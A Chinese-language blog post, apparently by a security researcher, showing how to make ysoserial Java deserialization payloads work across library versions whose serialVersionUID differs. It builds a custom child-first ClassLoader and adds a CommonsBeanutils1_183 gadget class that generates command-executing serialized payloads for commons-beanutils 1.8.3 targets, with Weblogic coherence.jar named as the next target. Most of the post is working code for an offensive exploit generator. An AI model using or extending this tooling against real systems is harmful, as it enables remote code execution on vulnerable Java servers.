使用自定义ClassLoader解决反序列化serialVesionUID不一致问题

0x01 背景

serialVesionUid不一致导致反序列化失败也算是Java反序列化漏洞利用比较常见的问题了。查了下资料,发现了各种各样的方法,但没有找到一种适合所有gadget的通用解决方案,为此我花了一些时间,算是找到了自己心中比较完美的解决方案:自定义ClassLoader。目前已经将其集成到ysoserial中,可完美解决各类gadget serialVesionUID不一致问题。

0x02 各方案的优劣

在解决这个问题之前,我尝试的很多方法,简单说下它们各自能解决的问题和存在的缺陷。

方案1:修改序列化byte数据

该方法可解决序列化最终数据的serialVesionUID不一致,但无法解决Object的serialVesionUID不一致

方案2:反射修改serialVesionUID

可以解决1的缺陷,但无法解决Gadget依赖的class没有serialVesionUID属性的情况,因为反射只能修改Object的属性,不能添加。

方案3:修改Class字节码,添加或修改serialVesionUID

能解决Gadget直接依赖Class的serialVesionUID不一致问题,可弥补方案2的缺陷。但不好解决Gadget间接依赖class存在serialVesionUID不一致的情况。

通过javassist给class添加serialVesionUID

方案4:Hook ObjectStreamClass.getSerialVesionUID()

该方法负责返回所有参与序列化Class的serialVesionUID,Hook它并修改返回值,可解决所有class的serialVesionUID不一致问题。但它无法解决Gadget依赖jar版本之间,class差异较大,属性类型不同的情况。因为serialVesionUID发生改变取决于两个因素:Class的属性和方法。如果属性类型改变了,单单只修改serialVesionUID是不够的。

Hook ObjectStreamClass.getSerialVesionUID()

方案5:URLClassLoader

使用URLClassLoader动态引入依赖jar可以很好的解决以上方案的缺陷。只是用在该场景下有些费劲,原因有三:

第一,不方便隔离依赖。包含serialVesionUID不一致class的jar(这里简称不一致jar)是需要被隔离的。由于URLClassLoader是双亲委派模式,存在被父ClassLoader中的同名Class覆盖的风险。

第二,不方便共享依赖。Gadget依赖的部分jar可能不存在serialVesionUID不一致问题(这里简称可共用jar),我们需要共享。

第三,不方便添加Class到ClassLoader中,URLClassLoader只提供添加jar的方法。

0x03 自定义ClassLoader解决方案

在我看来比较完美的方案不仅要解决以上方案的缺陷,还要能防止各种未知的”副作用”。使用ClassLoader来解决的思路肯定是没错,但我们需要结合解决serialVesionUID不一致问题这个场景量身设计一个ClassLoader,核心有两点:

  1. 改双亲委派为当前ClassLoader优先,方便隔离不一致jar共享可共用jar
  2. 方便添加Class和Jar到ClassLoader中

那么自定义ClassLoader是如何解决serialVesionUID不一致问题的呢?

自定义ClassLoader可以很方便地切换不一致jar为漏洞环境的对应版本,生成的发序列化数据自然不会存在serialVesionUID不一致问题。具体实现如下图,我们自定义ClassLoader包含了Gadget class和不一致jar。当Gadget class实例化生成序列化对象时,由于当前ClassLoader优先原则,存在不一致问题的class使用的是自定义ClassLoader加载的,实现隔离。而其他Class找不到,自然走双亲委派模式,去父ClassLoader中查找,实现共享。

自定义ClassLoader示意图

下面我们分别来实现。

0x04 addClass && addJar

首先我们自定义的ClassLoader需要维护要一个装载Class的Map classByteMap,类名类文件byte数据。方便后续添加和获取Class。

1
private Map<String, byte[]> classByteMap = new HashMap<String,byte[]>();

addClass方法,主要是为了方便我们我们把Gadget对应的class添加的自定义ClassLoader中。

1
2
3
public void addClass(String className,byte[] classByte){
classByteMap.put(className,classByte);
}

addJar方法,主要是为了方便把gadget的不一致jar快速添加到ClassLoader中。具体来说就是读取不一致jar中所有class的class nameclass byte,存储到classByteMap中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
private void readJar(JarFile jar) throws IOException{
Enumeration<JarEntry> en = jar.entries();
// 遍历jar文件所有实体
while (en.hasMoreElements()){
JarEntry je = en.nextElement();
String name = je.getName();
// 只class文件进行处理
if (name.endsWith(".class")){
String clss = name.replace(".class", "").replaceAll("/", ".");
if(this.findLoadedClass(clss) != null) continue;
// 读取class的byte内容
InputStream input = jar.getInputStream(je);
ByteArrayOutputStream baos = new ByteArrayOutputStream();
int bufferSize = 4096;
byte[] buffer = new byte[bufferSize];
int bytesNumRead = 0;
while ((bytesNumRead = input.read(buffer)) != -1) {
baos.write(buffer, 0, bytesNumRead);
}
byte[] cc = baos.toByteArray();
input.close();
// 将class name 和class byte存储到classByteMap
classByteMap.put(clss, cc);
}
}
}

0x05 改双亲委派为自定义ClassLoader优先

要想打破双亲委派,我们需要重新loadClass方法,修改加载逻辑为优先使用自定义ClassLoader加载。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
@Override
protected Class<?> loadClass(String name, boolean resolve) throws ClassNotFoundException {
synchronized (getClassLoadingLock(name)) {
// 1. 检测自定ClassLoader缓存中有没有,有的话直接返回
Class clazz = cacheClass.get(name);
if (null != clazz) {
return clazz;
}

try {
// 2. 若缓存中没有,就从当前ClassLoader可加载的所有Class中找
clazz = findClass(name);
if (null != clazz) {
cacheClass.put(name, clazz);
}else{
clazz = super.loadClass(name, resolve);
}
} catch (ClassNotFoundException ex) {
// 3.当自定义ClassLoader中没有找到目标class,再调用系统默认的加载机制,走双亲委派模式
clazz = super.loadClass(name, resolve);
}

if (resolve) {
resolveClass(clazz);
}
return clazz;
}
}

findClass方法定义的是自定义ClassLoader查找Class的逻辑

1
2
3
4
5
6
7
8
9
10
11
12
@Override
protected Class<?> findClass(String name) throws ClassNotFoundException{
// 从classByteMap中获取
byte[] result = classByteMap.get(name);
if(result == null){
// 没有找到则抛出对应异常
throw new ClassNotFoundException();
}else{
// 将一个字节数组转为Class对象
return defineClass(name, result, 0, result.length);
}
}

0x06 编写版本兼容gadget

依然以ysoserial CommonsBeanutils1为例子。ysoserial中默认commons-beanutils是1.9.2版本,下面我们给它添加一个兼容1.8.3版本的CommonsBeanutils1_183

通过对比1.9.2和1.8.3序列化数据,发现serialVesionUID不一致的只有org.apache.commons.beanutils.BeanComparator类,它在commons-beanutils-<version>.jar中,剩余的commons-collections-3.1.jarcommons-logging-1.2.jar为可共用jar。

两个版本的依赖jar生成的序列化数据对比

接着就可以编写代码,调用自定义ClassLoader SuidClassLoader来解决serialVesionUID不一致问题了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
@Dependencies({"commons-beanutils:commons-beanutils:1.8.3", "commons-collections:commons-collections:3.1", "commons-logging:commons-logging:1.2"})
@Authors({ Authors.FROHOFF,Authors.CONY1 })
public class CommonsBeanutils1_183 extends Object implements ObjectPayload<Object> {
public Object getObject(String command) throws Exception {
// 创建自定义ClassLoader对象
SuidClassLoader suidClassLoader = new SuidClassLoader();
// 将Gadget class添加到自定义ClassLoader中
suidClassLoader.addClass(CommonsBeanutils1.class.getName(),classAsBytes(CommonsBeanutils1.class));
// 从资源目录读取commons-beanutils-1.8.3.jar的base64数据
InputStream is = CommonsBeanutils1_183.class.getClassLoader().getResourceAsStream("commons-beanutils-1.8.3.txt");
byte[] jarBytes = new BASE64Decoder().decodeBuffer(CommonUtil.readStringFromInputStream(is));
// 将Gadget不一致jar添加到自定义ClassLoader中
suidClassLoader.addJar(jarBytes);
Class clsGadget = suidClassLoader.loadClass("ysoserial.payloads.CommonsBeanutils1");
// 判断存在serialVesionUID不一致问题的class是否是由自定义ClassLoader加载的
if(BeanComparator.class.getClassLoader().equals(suidClassLoader)){
// 使用自定义ClassLoader加载的Gadget class创建对象,调用其getObject构建序列化对象
Object objGadget = clsGadget.newInstance();
Method getObject = objGadget.getClass().getDeclaredMethod("getObject",String.class);
Object objPayload = getObject.invoke(objGadget,command);
suidClassLoader.cleanLoader();
return objPayload;
}else{
System.out.println("Class is not SuidClassLoader loading, serialization failure!");
return null;
}
}

public static void main(final String[] args) throws Exception {
PayloadRunner.run(CommonsBeanutils1_183.class, args);
}
}

Weblogic coherence.jar的gadget可如法炮制。近期忙完会将完整的代码上传到github项目ysoserial-woodpecker

0x07 参考文章